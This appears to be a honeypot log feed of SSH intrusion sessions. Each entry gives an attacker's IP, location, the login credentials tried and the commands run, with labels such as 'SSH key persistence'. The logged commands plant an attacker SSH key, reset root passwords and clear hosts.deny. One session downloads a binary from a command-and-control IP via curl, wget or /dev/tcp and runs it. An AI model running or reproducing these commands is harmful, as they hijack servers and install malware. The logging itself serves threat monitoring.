$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:BS5eYx9CctYn"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 liberty_root_11 (23.95.78.159) — Buffalo, United States · 1 session · 19 cmds

2026-07-07 01:04 EDT · as root/s1s2s3s4

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:jIoAKAoVru1l"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 lotus_root_4 (103.99.38.142) — Noida, India · 2 sessions · 39 cmds

2026-07-06 22:47 EDT · as deng/123456, root/dante

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:aX92yaoAfNyn"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "123456\nqjqoRRdq6PVS\nqjqoRRdq6PVS"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\nqjqoRRdq6PVS\nqjqoRRdq6PVS\n"|passwd

🎭 lantern_root_7 (82.157.177.106) — Beijing, China · 1 session · 3 cmds

2026-07-06 22:49 EDT · as root/12345678

echo → payload download from C2 → execute from /tmp

$ echo 1 > /dev/null && cat /bin/echo

$ nohup $SHELL -c "curl http://121.41.40.112:8231/linux -o /tmp/JAKa2U7oTF; if [ ! -f /tmp/JAKa2U7oTF ]; then wget http://121.41.40.112:8231/linux -O /tmp/JAKa2U7oTF; fi; if [ ! -f /tmp/JAKa2U7oTF ]; then exec 6<>/dev/tcp/121.41.40.112/8231 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/JAKa2U7oTF ; chmod +x /tmp/JAKa2U7oTF && /tmp/JAKa2U7oTF tyrwFv0V0ycU3ur82gom2hLjEPIqy8sy6hTkHM4gDt/85toAJ9YU4gX1OMvUPvUL5xTOIAvZ6OrZCSDAFeMU6jvJyST1EuEK0SYI0eXj3w0x0hbhC/Uyz9Q79Bf9HdQrA9rl5csOJs4V4xbqO8PNJPMW6RLSKQLL6vzaDinOFeAL9jnIwDz9FOEE0SELxeDi2xQi2ArhF/0wzMo59gXhFNI/C9vn/NoCKM4V5hP+M8jOPeQU4hbOIAjf/OHYFCnXHuUV9T7N2j7zC+IU1z8M2Pzg3QAp0RbkBfI61Ms99AvhEdM/Ddzo5NsLIdUE4Rf0JMvCOuoc6grXIADd4uPbDzHYCuEX9iTIyzLqF+YV2iYI2eHy2gogzhfnC/Y6z9Q78hfpE9kkCsvq4MULJNcK4hLzJMvKPP4d4BTVMQ7Y/OPYDD/VHP0U9D3AzDrxE/MQ1z8L2uT82ggkzhfrH/w5yMgq/Bf9FdUmFNrl5cULIdYe6xb0P9rLO/AL4hfSPwjf4/zZDijaHeMR8yrLyD7qF+EWziAN3fzj0wgr2BXrHeQ+ydQ79xb9FtAiFNrr5tEMI9AQ8xD9JMvLOuoc/RXYKADS5OrfGiDRFf0Q/STLzTjqF+MR2igM2+by3w0/2R39FP091Mg+/B/lHNMnGtrj4cULKM4V4xzqO8nNMPwT4BHAIALb/OXdFCDTE/0W8zDMyjv3EPMV0CcU3Ob82Qs/0hfkH/I6y8o/5BTjFc4gCdj849wIP9ET4R/zO87NKvUU6wrYKBTa4OLFCynWHuoT8zOvz9dI7c2gkwi5VIZSMoJA6T5tE8VVZ3E=; fi; echo 12345678 > /tmp/.opass; chmod +x /tmp/JAKa2U7oTF && /tmp/JAKa2U7oTF tyrwFv0V0ycU3ur82gom2hLjEPIqy8sy6hTkHM4gDt/85toAJ9YU4gX1OMvUPvUL5xTOIAvZ6OrZCSDAFeMU6jvJyST1EuEK0SYI0eXj3w0x0hbhC/Uyz9Q79Bf9HdQrA9rl5csOJs4V4xbqO8PNJPMW6RLSKQLL6vzaDinOFeAL9jnIwDz9FOEE0SELxeDi2xQi2ArhF/0wzMo59gXhFNI/C9vn/NoCKM4V5hP+M8jOPeQU4hbOIAjf/OHYFCnXHuUV9T7N2j7zC+IU1z8M2Pzg3QAp0RbkBfI61Ms99AvhEdM/Ddzo5NsLIdUE4Rf0JMvCOuoc6grXIADd4uPbDzHYCuEX9iTIyzLqF+YV2iYI2eHy2gogzhfnC/Y6z9Q78hfpE9kkCsvq4MULJNcK4hLzJMvKPP4d4BTVMQ7Y/OPYDD/VHP0U9D3AzDrxE/MQ1z8L2uT82ggkzhfrH/w5yMgq/Bf9FdUmFNrl5cULIdYe6xb0P9rLO/AL4hfSPwjf4/zZDijaHeMR8yrLyD7qF+EWziAN3fzj0wgr2BXrHeQ+ydQ79xb9FtAiFNrr5tEMI9AQ8xD9JMvLOuoc/RXYKADS5OrfGiDRFf0Q/STLzTjqF+MR2igM2+by3w0/2R39FP091Mg+/B/lHNMnGtrj4cULKM4V4xzqO8nNMPwT4BHAIALb/OXdFCDTE/0W8zDMyjv3EPMV0CcU3Ob82Qs/0hfkH/I6y8o/5BTjFc4gCdj849wIP9ET4R/zO87NKvUU6wrYKBTa4OLFCynWHuoT8zOvz9dI7c2gkwi5VIZSMoJA6T5tE8VVZ3E=" & // payload download from C2

$ head -c 3716336 > /tmp/uPHB5AKlCL // execute from /tmp

🎭 cipher_root_31 (190.112.222.22) — San Pedro, Costa Rica · 1 session · 19 cmds

2026-07-06 22:45 EDT · as root/admin123.

echo → payload download from C2 → execute from /tmp

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:vQWRYsPX5mov"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 panda_root_10 (183.201.208.25) — Jinrongjie, China · 1 session · 19 cmds

2026-07-06 22:44 EDT · as root/dante

echo → payload download from C2 → execute from /tmp

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:IFSwCwvHa7jV"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 monet_root_2 (176.191.43.176) — Villefranche-sur-Saône, France · 1 session · 19 cmds

2026-07-06 22:42 EDT · as root/hola1234

echo → payload download from C2 → execute from /tmp

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:5g2XIzc4vFdR"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 cipher_root_30 (123.58.213.128) — Hong Kong, Hong Kong · 1 session · 20 cmds

2026-07-06 22:40 EDT · as admin/Boxx123

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "Boxx123\nei0IDljfz9he\nei0IDljfz9he"|passwd|bash

$ Enter new UNIX password:

$ echo "Boxx123\nei0IDljfz9he\nei0IDljfz9he\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 burger_root (92.118.39.50) — Dallas, United States · 3 sessions · 27 cmds

2026-07-02 14:28 EDT · as guest/guest, root/123321, root/123456

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" // make executable

$ uname -s -v -n -m 2 > /dev/null ×3

$ /bin/uname -s -v -n -m 2 > /dev/null ×3

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×3

$ busybox uname -s -v -n -m 2 > /dev/null ×3

$ ( [ -f /proc/version ] ×3

$ [ -f /proc/version ] ×3

$ head -1 /proc/version | cut -d -f1 ×3

$ [ -f /etc/os-release ] ×3

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output"

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output"

🎭 wraith_root_31 (5.202.105.236) — Tehran, Iran · 1 session · 20 cmds

2026-07-06 22:20 EDT · as admin/Boxx123

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "Boxx123\nyXgb5SlJ5d4B\nyXgb5SlJ5d4B"|passwd|bash

$ Enter new UNIX password:

$ echo "Boxx123\nyXgb5SlJ5d4B\nyXgb5SlJ5d4B\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 cipher_root_3 (154.221.35.72) — Lima, Peru · 1 session · 19 cmds

2026-07-06 21:17 EDT · as root/sharma

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

